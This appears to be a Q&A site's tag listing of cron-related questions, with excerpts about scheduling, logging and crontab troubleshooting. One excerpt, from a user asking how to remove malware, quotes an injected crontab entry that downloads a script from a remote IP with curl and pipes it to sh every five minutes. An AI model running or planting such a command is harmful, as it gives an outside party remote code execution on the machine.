Questions tagged [cron]

Cron is a job scheduler that allows users to run commands periodically.

Filter by
Sorted by
Tagged with
-6
votes
1answer
39 views

How can I run a job every 2 minutes through crontab in Linux? [duplicate]

How can I run a job every 2 minutes through crontab in Linux?
0
votes
1answer
294 views

CRON path problems

I have a Python script that runs from the command line beautifully, but when I try and run it from CRON does strange things. The script generates, then runs an apk script file. The apk script file ...
0
votes
2answers
166 views

Crontab problem in ubuntu 1804

I'm having problem getting my crontab to work in my ubuntu server 18.04 running as a amazon ec2 instance. I have the following line in my /etc/crontab file: */15 * * * * root /bin/bash /home/...
4
votes
1answer
1k views

Should the key for an automatically running cron job that runs over ssh not have a passphrase?

I'm reading an article in Master Linux Now 2013 called OpenSSH: Easy Logins and it uses ssh-agent to allow you to enter a passphrase for your key once, and then you're able to connect to a remote ...
0
votes
0answers
30 views

Running a BASH script via crontab causes ecryptfs volume to unmount

On my MX-18 linux (Debian 9 Stretch based) system, whenever a script runs via cron, my Private ecryptfs volume unmounts. Confirmed, no issue running the same BASH scripts from a terminal. Tested with ...
0
votes
2answers
41 views

Overwrite file with stdoutput from cron execution

I have this cron in my crontab 00 01 * * * /srv/python/proj/acquisizione/acquisizioneAOK.sh >> /home/crontab_logs/acquisizioneAOK.out 2>&1; mailx -s "Cron output: acquisizioneAOK" ...
0
votes
1answer
2k views

find: failed to restore initial working directory: Permission denied

I am trying to find some files on a path /local/java_apps/ and then delete them using a shell script and generate a log file in the /home/jboss The code is as follows : STAMP=$(date +"%m%d%Y%H%M%S") ...
0
votes
2answers
40 views

Replace log file without affecting “Redirection of stdin and stdout” using nohup

production.log [2019-02-11 10:18:18] GET / [2019-02-11 11:18:19] POST blavadasdasdgd ... ... <--- A lot of in between logs and other data ... [2019-02-12 11:18:20] INFO ::HTTPServer#start: pid=...
0
votes
0answers
18 views

Question regarding sudo & crontab

I just created a script that is being run as a @reboot item in crontab -e. It runs two scripts...in order. One creates ramdisks and populates them, and another runs an executable that depends on ...
0
votes
0answers
47 views

Ubuntu 16.04.5 Ruining Monitors By Never Turning Them Off

I've seen, on two occasions, where Ubuntu 16.04.5 has completely ruined laptop monitors by never turning them off. These were laptops my Uncle owned, where he left them on all the time. I'm now ...
1
vote
1answer
61 views

Starting batch jobs at exact time slightly before the new hour starts

I've been reading the recent blogpost "Winding down my Debian involvement" by Michael Stapelberg. Sad details aside, it's been mentioned that within Debian infrastructure batch jobs run four times a ...
10
votes
2answers
942 views

Why does cron require MTA for logging?

Why does cron require MTA for logging? Is there any particular advantage to this? Why can't it create a log file like most other utilities?
-1
votes
2answers
58 views

About a Mplayer Cron Job

I'm currently tinkering with a process to play an internet radio stream on a certain schedule everyday. After some research, I came up with this code for Crontab : 00 22 * * * mplayer http://listen....
1
vote
1answer
530 views

Java file is not getting compiled in cron

I run a script file through CRON daily which involves running selenium testcases and sending the report as mail. Here is my script: check.sh #!/bin/sh set -x ./.bashrc export CLASSPATH=/home/test/...
-1
votes
1answer
41 views

job in cron under unix server [closed]

I need to schedule a cronjob under UNIX server, which will fulfill the below requirement. in this i need to login to the server with my username and i have to check the status of my application. i am ...
0
votes
2answers
2k views

How to automatically restart a screen -x program?

Ubuntu 16.04 The program running under screen often crashes and I often have to manually reboot. How to set up auto-restart 3 times a day. ( I mean crontab to shut down it and run it again ) Thanks
1
vote
1answer
491 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
0
votes
1answer
666 views

cron.hourly “exited with return code 1” no output to log file

I'm currently on Linux Ubuntu 14.04 (I think). So I previously had a cron.daily script which was working fine. I decided to use the same script but move it to cron.hourly and now it wont work. /etc/...
-3
votes
1answer
483 views

suspicious entries in /var/log/auth.log

I just had a question regarding the attached part of my /var/log/auth.log file. (Raspberry Pi 2B, running Raspbian Jessy, fully updated / upgraded) First of all I got rid of the root user all ...
0
votes
0answers
65 views

running bash script from cron job not working properly

I have the following script: #!/bin/bash echo "$(date +"%r")" if [ "$FOLDER_ID" != "0" ] then node /sync.js -d $FOLDER_ID -l /Downloads fi I'm using docker container and I have passed the env ...
0
votes
1answer
225 views

shell calling another shell program fails when run by crontab

I have scheduled to run the run.sh program like this: 16 09 07 * * root /opt/db_maintain/run.sh > /opt/db_maintain/temp-log and here is the run.sh: #/bin/bash #********* Saman ********* TM=$(...
1
vote
2answers
53 views

Finding a rogue script changing filenames?

I've got a server that is used as an SFTP endpoint and a script living somewhere else that periodically uploads to the server. At a particular time every day all the files in the upload folder get ...
1
vote
2answers
2k views

@reboot jobs don't work

I have been trying to make my fedora pc do a little script at reboot but i can't get it to work. My script works perfectly, for example if it's 02:10 and inside crontab -e I write 11 02 * * * /path/to/...
27
votes
2answers
55k views

Cron log on debian systems

On Redhat systems cron logs into /var/log/cron file. What is the equivalent of that file on Debian systems?
0
votes
0answers
15 views

failed rsnapshot of mapped network directory when scheduled

I have a problem when running rsnapshot for backing up a network mapped drive directory to my local client via cron (and only via a scheduled job). If I run rsnapshot in a CYGWIN terminal manually I ...
0
votes
1answer
37 views

How to get a shell script to execute correctly on reboot

I have a shell script that gets updates from github and then runs the code that it retrieved. it is located at /home/me/Desktop/refreshCode.sh -- refreshCode.sh -- #!/bin/bash cd /home/me/src/...
12
votes
3answers
10k views

Logging ALL stderr output of crontab to file

For example, I can log stderr of one script in this way: * * * * * run_script.sh > /var/log.txt 2>&1 But I want to log stderr of all scripts in my crontab. I can append > /var/log.txt 2&...
0
votes
1answer
70 views

unable to execute git pull if the script is executed on reboot

I have created the following script: #!/bin/bash cd /home/pi/workspace/my-app /usr/bin/git pull python3 main.py & If I run the script from the console, git pull is executed as expected and then ...
0
votes
1answer
76 views

Cron email not sent by sSMTP if job takes > 5 minutes

We have two servers, one of which runs Ubuntu and the other Amazon Linux 2. Both run a series of cron jobs for different clients. The Ubuntu server sends an email (to a group email address) with the ...
1
vote
1answer
107 views

/bin/crontab and /usr/sbin/cron in cygwin - what is the difference?

I have just installed Cygwin on my Win Server 2008. I have a bash backup script (to backup some user files to an external harddrive) that I want to run on the machine, under crontab, every night. I ...
0
votes
2answers
60 views

Syslog Output File Splitting HOURLY at Syslog Server

I have implemented syslog server on CentOS and using below Template to generate output file on daily basis - $template TmplNationalIP_PL, "/var/log/NIPFW/MX480/CGNAT_PL_%$year%.%$month%.%$day%" if ($...
0
votes
0answers
43 views

How do I get CRON to run a script that works in my regular shell, but not in CRON? [duplicate]

I am running Ubuntu 18.04 LTS on an Amazon LightSail instance. When I try to run a Python script as soon as I log, it runs perfectly. I run my script with the full path in with the command: /usr/bin/...
0
votes
1answer
57 views

Verify cron daemon is enabled in Slackware 14.2

How will I know if cron daemon is running in my Slackware installation? I tried the code below and it returns me nothing. It means cron is not in /etc/rc.d folder. ls /etc/rc*.d | grep crond
1
vote
1answer
419 views

cron runs job at unexpected times

I have set up a cron job on my local Ubuntu 12.04 server to log on a remote server through a passwordless ssh connection and run mysqldump on a database on that server once a day. My problem is that, ...
9
votes
3answers
3k views

Schedule the last day of every month

I read from an instruction to schedule a script on the last day of the month: Note: The astute reader might be wondering just how you would be able to set a command to execute on the last day of ...
0
votes
3answers
187 views

How to insert a line into a crontab AFTER a key word or string via script

I understand there is a lot of documentation on editing crontabs via script, and I can do this by adding an entry with the following command: line="* * * * * /my/folder/script.sh" ( crontab -l ; echo ...
0
votes
1answer
31 views

how to to put a shell script in crontab in solaris to automate the script [closed]

#!/bin/bash # Checks rather system is running Linux or Solaris function osCheck { os_type=$(uname -i) echo "Checking OS type." case ${os_type} in "x86_64") ...
2
votes
2answers
210 views

Slackware 14.2 - /etc/crontab does not exist

When I go to /var/log/packages/ , I can see there that I have already installed dcron-4.5-x86_64-5, which I believe is the same as crond. Now, I want to ensure that permissions on /etc/crontab are ...
0
votes
3answers
58 views

Unable to get out from crontab command

I am using a fresh installation of Ubuntu 16.04 LTS. Whenever I type: sudo crontab -e OR sudo -u www-data crontab -e The command prints some number and nothing else. And whatever you do to try to ...
0
votes
1answer
56 views

How to schedule cron jobs in linux?

I have script files. .file I need to run only on the first day of the every month. How can I do this with my cron job? 52 07 * * * bash '/home/linux/tanu/cat.sh'
1
vote
1answer
64 views

send cron output to a filename that is derived from the program name

I tested the following with no luck. Any other ideas? #cron test, I would like to generate a stderr logfile name based on $0, but $0 value is "/bin/bash" #why do I want this? Because some program ...
189
votes
3answers
475k views

How can get a list of all scheduled cron jobs on my machine?

My sysadmin has set up a bunch of cron jobs on my machine. I'd like to know exactly what is scheduled for what time. How can I get that list?
5
votes
1answer
12k views

Difference between CRON tab 0/5 and */5?

Is there any difference between creating a CRON tab using 0/5 and */5? For example: 0/5 * * * * vs */5 * * * *
0
votes
1answer
124 views

What is the difference between using crontab -e and /etc/crontab [duplicate]

I wish to run stuff from startup and also trigger reboots using cron. I was using sudo crontab -e and adding commands there. The commands work apart from the reboots. The reboots do not happen all ...
0
votes
1answer
26 views

Execute script at crontab [duplicate]

General info: SO: Ubuntu 18.04 Script folder: /home/Emby/Anime/canon_vids Serie folder: /home/Emby/Anime/Goblin Slayer I normally execute the script at folder like this: ./canon_vids [folder] ...
0
votes
1answer
79 views

Cron is not echoing correct value inside cron but outside works fine

I even included source /home/user/.bashrc; <my scripts> in crontab, still it does not output correct thing. I have a while loop in my script which checks some value from a service called zend. ...
1
vote
0answers
699 views

Show all scheduled cron jobs

How can I list all cron jobs which are scheduled to run? I need to check if my cron jobs are working. I guess they don't even run, because our Magento does not send out any order confirmation emails ...
-1
votes
1answer
22 views

crond php server crash

My CentOS server crashed with 100% memory with swapping, after running fine for a week. Investigating the /var/log/messages shows me the following: https://pastebin.com/CSF8DDzX Basically, alot of the ...
7
votes
6answers
4k views

making an automate reverse SSH connection at boot

I have a PC behind a NAT which makes a reverse SSH connection to my Digitalocean VPC. I utilise this reversed SSH connection from home to login to my office PC (I am authorised to do so) and copy ...
0
votes
1answer
106 views

Remote overwrite crontab file with sudo

I'm trying to build a script that automatically takes a file on the remote server and replace with crontab file, but I get permission denied. My idea is to create a shell function for it: ...